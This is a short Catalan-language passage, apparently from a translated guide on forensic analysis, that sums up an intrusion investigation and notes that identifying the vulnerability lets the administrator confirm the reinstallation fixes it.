ca-ES: En aquest exemple s'ha reconstruït tota la intrusió, i es pot deduir que l'atacant ha estat capaç d'aprofitar el sistema compromès durant uns tres dies; però l'element més important en l'anàlisi és que la vulnerabilitat s'ha identificat, i l'administrador pot estar segur que la nova instal·lació realment soluciona la vulnerabilitat.
